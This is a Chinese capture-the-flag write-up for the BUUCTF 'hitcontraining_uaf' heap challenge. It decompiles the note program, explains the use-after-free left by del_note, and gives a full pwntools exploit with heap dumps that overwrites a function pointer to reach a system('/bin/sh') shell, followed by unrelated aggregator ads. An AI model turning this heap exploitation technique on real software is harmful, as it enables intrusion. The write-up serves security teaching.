BUUCTF-Pwn-hitcontraining_uaf

一、题目来源

BUUCTF-Pwn-hitcontraining_uaf

二、信息搜集

通过 file 命令查看文件类型:

image-20251108201238470

通过 checksec 命令查看文件使用的保护机制:

image-20251108201334593

三、反汇编文件开始分析

将题目给的二进制文件丢入 IDA Pro 当中开始反汇编。

程序的主要功能菜单函数已经写的很清楚了:

int menu()
{puts("----------------------");puts("       HackNote       ");puts("----------------------");puts(" 1. Add note          ");puts(" 2. Delete note       ");puts(" 3. Print note        ");puts(" 4. Exit              ");puts("----------------------");return printf("Your choice :");
}

1、add_note()

int add_note()
{int result; // eaxint v1; // esichar buf[8]; // [esp+0h] [ebp-18h] BYREFsize_t size; // [esp+8h] [ebp-10h]int i; // [esp+Ch] [ebp-Ch]result = count;if ( count > 5 )return puts("Full");for ( i = 0; i <= 4; ++i ){result = *((_DWORD *)&notelist + i);if ( !result ){*((_DWORD *)&notelist + i) = malloc(8u);if ( !*((_DWORD *)&notelist + i) ){puts("Alloca Error");exit(-1);}**((_DWORD **)&notelist + i) = print_note_content;printf("Note size :");read(0, buf, 8u);size = atoi(buf);v1 = *((_DWORD *)&notelist + i);*(_DWORD *)(v1 + 4) = malloc(size);if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) ){puts("Alloca Error");exit(-1);}printf("Content :");read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);puts("Success !");return ++count;}}return result;
}

笔记(note)的创建过程:

  • 最多只能创建 5 个笔记;
  • 创建的笔记会通过一个名为“notelist”的“二维数组”来管理,其中:
    • notelist[i][0] 中存储的是函数 print_note_content 的地址,分配的 chunk 的大小为 8 字节;
    • notelist[i][1] 中存储的笔记的内容的所在地址,分配的大小由用户自己指定(size)。

稍微解释一下为什么上面的二维数组被我打上了引号,从伪代码上看,将 notelist 理解成二维数组似乎并没有什么大的问题(根据原理数组 a[n] 的等价写法为 *(a+n)),但其实它更像是个结构体。因为,真正的二维数组 a[R][C] 要求的是整块 R×C 连续内存,但这明显不是(通过 malloc 动态分配的)。这个结构体可以表示成:

// 32-bit 语义
struct Note {int (*print_note_content)();  // notelist[i][0]void *content;          // notelist[i][1]
};
struct Note *notelist[5];

顺带查看 print_note_content 函数的作用:

int __cdecl print_note_content(int a1)
{return puts(*(const char **)(a1 + 4));
}

可以看到,其实这个函数是带参数的,IDA 并没帮我们显示出来,但是看里面的 puts 函数我们就应该知道,这传进来的就是本 note 的结构体的初始地址。因此,这个函数的作用就是打印 note 的内容。

2、del_note()

int del_note()
{int result; // eaxchar buf[4]; // [esp+8h] [ebp-10h] BYREFint v2; // [esp+Ch] [ebp-Ch]printf("Index :");read(0, buf, 4u);v2 = atoi(buf);if ( v2 < 0 || v2 >= count ){puts("Out of bound!");_exit(0);}result = *((_DWORD *)&notelist + v2);if ( result ){free(*(void **)(*((_DWORD *)&notelist + v2) + 4));free(*((void **)&notelist + v2));return puts("Success");}return result;
}

不难理解,输入 index 下标,通过 notelist 来查找对应的 note 然后进行 free() 操作。

但是,这里 free() 完成之后,并没有执行指针归“NULL”的操作,因此存在利用 UAF 的可能。

3、print_note()

int print_note()
{int result; // eaxchar buf[4]; // [esp+8h] [ebp-10h] BYREFint v2; // [esp+Ch] [ebp-Ch]printf("Index :");read(0, buf, 4u);v2 = atoi(buf);if ( v2 < 0 || v2 >= count ){puts("Out of bound!");_exit(0);}result = *((_DWORD *)&notelist + v2);if ( result )return (**((int (__cdecl ***)(_DWORD))&notelist + v2))(*((_DWORD *)&notelist + v2));return result;
}

同样,输入 index 下标,通过 notelist 定位指定 note,然后调用 print_note_content 函数

四、思路

在程序的 .text 段,我们能找到一个叫做 magic 的函数,其代码:

int magic()
{return system("/bin/sh");
}

我们如果能通过一些手段,来执行这个函数的话,那么就能 getshell 了。

目前,分析出来的仅有的手段就是 UAF,而且存在函数调用的部分都是和 print_note_content 有关的。

如果我们能将 print_note_content 函数替换成 magic 函数,那么事情就成了。

要想实现替换,就得想办法在那个存放函数地址的、8 字节大小的 chunk 中写入数据。直接通过 add_note() 写是不行的,因为只能写到 content 中。因此,想到先 free 再 malloc 的操作,因为存放函数地址的地方本质上也是一个 chunk,既然是个 chunk,我们就可以先 free 掉,再 malloc 回来,将其作为 content 部分。

替换完成之后,我们只需要再次调用 print_note 即可实现 magic 函数的执行。

五、Poc 构造

from pwn import *context(arch="i386",os="linux",log_level="debug")p = process("./hacknote")
elf = ELF("./hacknote")
# p = remote("node5.buuoj.cn",27273)def addnote(size = b'16',content = b'A'*16):p.sendlineafter(b'Your choice :',b'1')p.sendafter(b'Note size :',size)p.sendafter(b'Content :',content)def delnote(index):p.sendlineafter(b'Your choice :',b'2')p.sendafter(b'Index :',index)def printnote(index):p.sendlineafter(b'Your choice :',b'3')p.sendafter(b'Index :',index)def m_exit():p.sendlineafter(b'Your choice :',b'4')addnote()
addnote()delnote(b'0')
delnote(b'1')magic = 0x08048945addnote(size=b'8',content=p32(magic))printnote(index=b'0')# gdb.attach(p)
# pause()p.interactive()

前面一些定义的函数是为了实现程序中对应的功能。

首先,我们申请了两个 note:

addnote()
addnote()

此时可以动态调试看看:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x9634008
Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSE
Addr: 0x9634198
Size: 0x10 (with flag bits: 0x11)Allocated chunk | PREV_INUSE
Addr: 0x96341a8
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x96341c8
Size: 0x10 (with flag bits: 0x11)Allocated chunk | PREV_INUSE
Addr: 0x96341d8
Size: 0x20 (with flag bits: 0x21)Top chunk | PREV_INUSE
Addr: 0x96341f8
Size: 0x21e08 (with flag bits: 0x21e09)

可以看到,四个 chunk 已经申请完毕了,其中两个是存放函数地址的,两个是存放 content 的(我设置的 size 大小为 16,这是为了避免和 size 大小为8 的、存放函数的那个 chunk 在 free 之后放入同一个 bin 中)。

我们也可以稍微验证一下:

pwndbg> telescope 0x9634198
00:0000│     0x9634198 ◂— 0
01:0004│     0x963419c ◂— 0x11
02:0008│     0x96341a0 —▸ 0x80485fb (print_note_content) ◂— push ebp

存放的地址往后移了 8 字节是因为 chunk 的数据结构,在 user data 前面还有pre_size(0) 和 size(0x11) 两个成员变量。

pwndbg> telescope 0x96341a8
00:0000│     0x96341a8 ◂— 0
01:0004│     0x96341ac ◂— 0x21 /* '!' */
02:0008│     0x96341b0 ◂— 'AAAAAAAAAAAAAAAA'

我默认的写入内容就是 16 字节的 A。

接下来,我们将这两篇 note 进行 delete 操作,即执行 del_note:

delnote(b'0')
delnote(b'1')

那么,这四个 chunk 都会被放入 tcache bins 中:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x8a1b008
Size: 0x190 (with flag bits: 0x191)Free chunk (tcachebins) | PREV_INUSE
Addr: 0x8a1b198
Size: 0x10 (with flag bits: 0x11)
fd: 0x8a1bFree chunk (tcachebins) | PREV_INUSE
Addr: 0x8a1b1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x8a1bFree chunk (tcachebins) | PREV_INUSE
Addr: 0x8a1b1c8
Size: 0x10 (with flag bits: 0x11)
fd: 0x8a13bbbFree chunk (tcachebins) | PREV_INUSE
Addr: 0x8a1b1d8
Size: 0x20 (with flag bits: 0x21)
fd: 0x8a13babTop chunk | PREV_INUSE
Addr: 0x8a1b1f8
Size: 0x21e08 (with flag bits: 0x21e09)

但是,此时的 listnote 中的指针并没有被置为 NULL。

此时,我们再次创建 note,这次将大小精确设置为 8 字节:

magic = 0x08048945addnote(size=b'8',content=p32(magic))

且内容写的是 magic 函数的地址。

现在发生的事情就是:因为没有指针置 NULL,因此有两个指针指向这个 8 字节大小的 chunk,其中一个能把这当成 note 的 content 部分,从而写入信息;而另一个能把这部分当成函数来调用。

由此,我们接下来只需要调用 print_note 功能,即可实现 magic 函数的调用:

printnote(index=b'0')

需要注意的是,index 应该指定为 0,因为 tcanche bin 是一个后进先出的单项链表,而我们使用 add_note 这个函数的时候,实质上会申请两个 chunk 即在 tcache bin 中的两个 8 字节大小的 chunk 都被我们申请出来了。其中,第一个 chunk 用于存放函数地址,后一个 chunk 用来存放 content,根据我们的分析,我们要利用的是后一个 chunk(这个 chunk 对应的就是当时 del_note 删除的第二个 note 的、用于存放函数地址的那个 chunk。)。

若对 index 的选择有疑问的,可以动态调试看看:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x9ccb008
Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSE
Addr: 0x9ccb198
Size: 0x10 (with flag bits: 0x11)Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9ccb1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x9ccbAllocated chunk | PREV_INUSE
Addr: 0x9ccb1c8
Size: 0x10 (with flag bits: 0x11)Free chunk (tcachebins) | PREV_INUSE
Addr: 0x9ccb1d8
Size: 0x20 (with flag bits: 0x21)
fd: 0x9cc2d7bTop chunk | PREV_INUSE
Addr: 0x9ccb1f8
Size: 0x21e08 (with flag bits: 0x21e09)

(pwndbg 插件默认帮我们取消了 ASLR 来方便我们调试分析)不难发现,两个 8 字节大小的 chunk 都被 malloc 了出来,根据我们的分析,存放函数地址的是 0x9ccb1d0(0x9ccb1c8 + 0x8,别忘了 chunk 的数据结构) ,验证:

pwndbg> telescope 0x9ccb1c8
00:0000│     0x9ccb1c8 ◂— 0
01:0004│     0x9ccb1cc ◂— 0x11
02:0008│     0x9ccb1d0 —▸ 0x80485fb (print_note_content) ◂— push ebp

存放内容的地方是 0x0x9ccb1a0(0x9ccb198 + 0x8),验证:

pwndbg> telescope 0x9ccb198
00:0000│     0x9ccb198 ◂— 0
01:0004│     0x9ccb19c ◂— 0x11
02:0008│     0x9ccb1a0 —▸ 0x8048945 (magic) ◂— push ebp

和我们分析的一致,因此 index 选择的应该是 0 而不是 1。

本地 Poc 运行:

image-20251109082803595

成功拿下本地 shell。

远程 Poc 执行:

image-20251109083002054

成功拿下 flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/960185.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年上海离婚律所联系电话推荐:专业团队与高效流程盘点

在上海这样一座节奏飞快、资产结构多元的国际都市,离婚早已不是简单的“去民政局盖章”。涉外股权、境外房产、数字货币、孩子国际学校学籍、限购政策下的多套房产分割……任何一项都可能让谈判桌瞬间变成战场。很多当…

2025年深圳离婚律所联系电话推荐:高效沟通快速响应

在深圳这样节奏飞快的城市,婚姻关系的调整往往伴随着财产分割、子女抚养、公司股权等复杂议题。一旦决定走法律程序,第一时间找到值得信赖的离婚律所,就成了保护自身权益的关键一步。2025年,深圳本地婚姻家事案件数…

2025年中国房产继承律师联系电话推荐:遗产纠纷安心首选

开头段落 房产继承往往伴随亲情裂痕与巨额利益冲突,一份权威律师名单能让当事人少走弯路。2025年,全国继承纠纷立案量预计再增12%,提前锁定专业律师成为家庭共识。本文筛选五位在房产继承领域口碑过硬、电话可直联的…

Java-146 深入浅出 MongoDB 数据插入、批量写入、BSON 格式与逻辑查询and or not管理指南

Java-146 深入浅出 MongoDB 数据插入、批量写入、BSON 格式与逻辑查询and or not管理指南2025-11-09 08:40 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important…

2025年知名的团餐配送最新用户口碑榜品牌

2025年知名的团餐配送最新用户口碑榜品牌行业背景与市场趋势随着中国城市化进程加速和企事业单位后勤社会化改革的深入,团餐行业近年来呈现出蓬勃发展的态势。据中国饭店协会发布的《2024年中国团餐行业发展报告》显示…

2025年石棉橡胶板厂家联系电话推荐:华北货源一站汇总

在工业设备维护、管道密封、化工防腐等场景中,石棉橡胶板因其耐高温、耐油、耐酸碱的特性被广泛应用。2025年,随着国内大型基建项目陆续开工,市场对高品质石棉橡胶板的需求持续升温。很多采购经理、设备工程师和备件…

2025年诈骗辩护律师联系电话推荐:资深律师亲办案例

当亲友突然被卷入诈骗案件,手机被扣、账户被冻、自由受限,家属最常问的一句话是:“现在找谁才能把人先保出来?”2025年,刑事司法流程对电子数据审查更严,量刑算法更细,留给辩护的黄金时间被压缩到72小时以内。早…

why bad is b

because a poor educated English think British is as bad as badman

2025年靠谱的目视化规划施工最新畅销推荐榜供应商

2025年靠谱的目视化规划施工最新畅销推荐榜供应商目视化规划行业背景与市场趋势随着制造业数字化转型加速,目视化管理作为精益生产的重要组成部分,正在经历前所未有的发展机遇。根据《2024-2029年中国工业视觉管理市…

2025年口碑好的澳洲海外仓头程亚马逊FBA海外仓榜

2025年口碑好的澳洲海外仓头程亚马逊FBA海外仓榜行业背景与市场趋势随着全球跨境电商的蓬勃发展,澳洲市场已成为中国卖家的重要战略布局地。根据Statista最新数据显示,2024年澳洲电商市场规模已达520亿澳元,预计202…

2025年上海血管瘤医院联系电话推荐:五院直通高效就诊

在上海这样一座超大型城市,血管瘤患者及家属常常面临“信息过载”的困扰:网络搜索结果五花八门,广告与科普混杂,真假难辨;社交平台上的“过来人”经验又常常带有强烈个体色彩,难以复制。为了把宝贵时间用在刀刃上…

2025年热门的企业VI设计创意视觉识别方案榜

2025年热门的企业VI设计创意视觉识别方案榜行业背景与市场趋势在品牌竞争日益激烈的商业环境中,企业视觉识别系统(VIS)已从简单的视觉包装升维为企业战略的核心组成部分。根据国际品牌协会(IBF)最新发布的《2024全球…

2025年热门的低盐涪陵榨菜传统美食品牌实力榜

2025年热门的低盐涪陵榨菜传统美食品牌实力榜开篇:行业背景与市场趋势涪陵榨菜作为中国传统美食的代表之一,已有百年历史。近年来,随着消费者健康意识的提升,低盐、低钠榨菜产品逐渐成为市场主流。据中国食品工业协…

2025年上海血管瘤医院联系电话推荐:浦东到静安全覆盖

在2025年,血管瘤患者及家属对“靠谱、就近、能马上联系上”的需求比以往任何时候都迫切。上海作为医疗资源高地,专科机构众多,但信息分散、电话难打通、院区搬迁等状况常让人跑冤枉路。为节省大家的时间与精力,我们…

2025年上海血管瘤医院联系电话推荐:精选五强榜单与就诊指南

在上海这样医疗资源高度集中的城市,血管瘤患者及家属往往面临“信息过载”:网络搜索结果庞杂、广告与科普混杂、同一家医院在不同平台留下的电话甚至不一致。为了帮大家把真正专业、可预约、可咨询的通道一次整理到位…

完整教程:SAP中的第三方销售与单独采购业务详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025年优质的云南房屋加固选购指南

2025年优质的云南房屋加固选购指南 行业背景与市场趋势 随着城市化进程的加快和既有建筑的老化,房屋加固改造行业在云南市场迎来快速发展。据云南省住建厅2024年统计数据显示,全省现有建筑存量超过50亿平方米,其中…

2025年可靠的房屋检测鉴定TOP机构排行榜

2025年可靠的房屋检测鉴定TOP机构排行榜行业背景与市场趋势随着我国城镇化进程的加快和既有建筑存量的持续增长,房屋检测鉴定行业迎来了快速发展期。据中国建筑科学研究院发布的《2024年中国建筑检测行业发展报告》显…

2025年质量好的宜昌珍珠棉厂家推荐及选择指南

2025年质量好的宜昌珍珠棉厂家推荐及选择指南行业背景与市场趋势珍珠棉(EPE)作为一种新型环保包装材料,近年来在包装行业中的市场份额持续增长。根据中国包装联合会最新数据显示,2024年全国珍珠棉市场规模已达320亿…

详细介绍:YouTubeDNN GEO优化+Create大模型:喂养调优训练策略

详细介绍:YouTubeDNN GEO优化+Create大模型:喂养调优训练策略pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Con…